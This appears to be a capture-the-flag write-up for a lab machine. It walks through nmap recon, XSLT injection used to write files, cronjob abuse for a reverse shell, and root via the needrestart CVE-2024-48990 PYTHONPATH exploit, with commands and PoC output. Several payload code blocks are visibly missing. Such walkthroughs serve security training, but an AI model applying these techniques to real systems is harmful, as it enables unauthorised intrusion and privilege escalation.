A Linux machine where an XSLT stylesheet processor accepts attacker-controlled input — and the ability to write arbitrary files, combined with a scheduled task and a vulnerable system utility, leads to root.
Recon
Nmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
$ ip=10.129.8.151; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr'\n'',' | sed s/,$//); nmap -p$ports -sC -sV $ip Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-26 06:49 -0500 Nmap scan report for 10.129.8.151 Host is up (0.13s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA) |_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-title: Did not follow redirect to http://conversor.htb/ |_http-server-header: Apache/2.4.52 (Ubuntu) Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.76 seconds
Findings:
22/tcp — OpenSSH 8.9p1 on Ubuntu
80/tcp — Apache 2.4.52 redirecting to conversor.htb
Foothold
Hosts File
Add the target domain to /etc/hosts:
1
$ echo'10.129.8.151 conversor.htb' | sudotee -a /etc/hosts
Directory Enumeration
The app allows users to upload an Nmap XML file and an XSLT template to “transform into a more aesthetic format.” Run ffuf to enumerate directories:
The /about page exposes the application’s source code. The archive is disguised with a .gz extension but is actually a plain tar archive. Extract it:
1
tar -xf source_code.tar.gz
Two files are of interest:
install.md reveals a cronjob that runs every minute as www-data, executing all Python scripts in the scripts/ folder:
1 2 3 4 5
If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.
""" * * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done """
app.py reveals:
User credentials are stored in /var/www/conversor.htb/instance/users.db with MD5-hashed passwords.
The /convert endpoint is vulnerable to XSLT injection — it accepts an XSLT file from the user and passes it directly to etree.parse → etree.XSLT → transform(...) without any sandbox or XSLTAccessControl. This means we can supply a malicious stylesheet to execute unintended logic on the server, such as writing arbitrary files.
XSLT Injection — File Write
Generate a minimal Nmap XML file to use as input for the converter form:
Navigating to http://conversor.htb/static/evil.txt confirms the file was written successfully.
XSLT Injection — Reverse Shell via Cronjob
Since we can write arbitrary files and the cronjob executes every Python script in /var/www/conversor.htb/scripts/ every minute as www-data, we can drop a malicious Python reverse shell script into that directory. Save the following as evil.xslt:
fismathack@conversor:~$ sudo -l Matching Defaults entries for fismathack on conversor: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User fismathack may run the following commands on conversor: (ALL : ALL) NOPASSWD: /usr/sbin/needrestart
fismathack can run needrestart as root without a password. Check the installed version:
1 2 3 4 5 6 7 8
fismathack@conversor:~$ needrestart -v [main] eval /etc/needrestart/needrestart.conf [main] needrestart v3.7 [main] running in user mode [Core] Using UI 'NeedRestart::UI::stdio'... [main] systemd detected [main] vm detected [main] inside container or vm, skipping microcode checks
needrestart v3.7 is vulnerable to CVE-2024-48990. When needrestart scans running processes it spawns a Python interpreter to inspect them, and it does so in a way that allows an attacker to control the PYTHONPATH environment variable. By planting a malicious shared library disguised as a Python module in a directory on PYTHONPATH, the library gets loaded by the root-owned Python process, giving us code execution as root.
On the target, run the exploit script. It sets PYTHONPATH to the PoC directory so that when needrestart spawns Python, it loads the malicious importlib module instead of the legitimate one:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
fismathack@conversor:/tmp$ cd CVE-2024-48990-PoC/ fismathack@conversor:/tmp/CVE-2024-48990-PoC$ PYTHONPATH="$PWD" python3 e.py Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:
Traceback (most recent call last): File "/usr/lib/python3.10/site.py", line 192, in addpackage exec(line) File "<string>", line 1, in <module> ImportError: dynamic module does not define module exportfunction (PyInit_importlib)
Remainder of file ignored ##########################################
Don't mind the error message above
Waiting for needrestart to run...
The error message is harmless — the script is now waiting for needrestart to be triggered. In a second terminal, trigger it with sudo: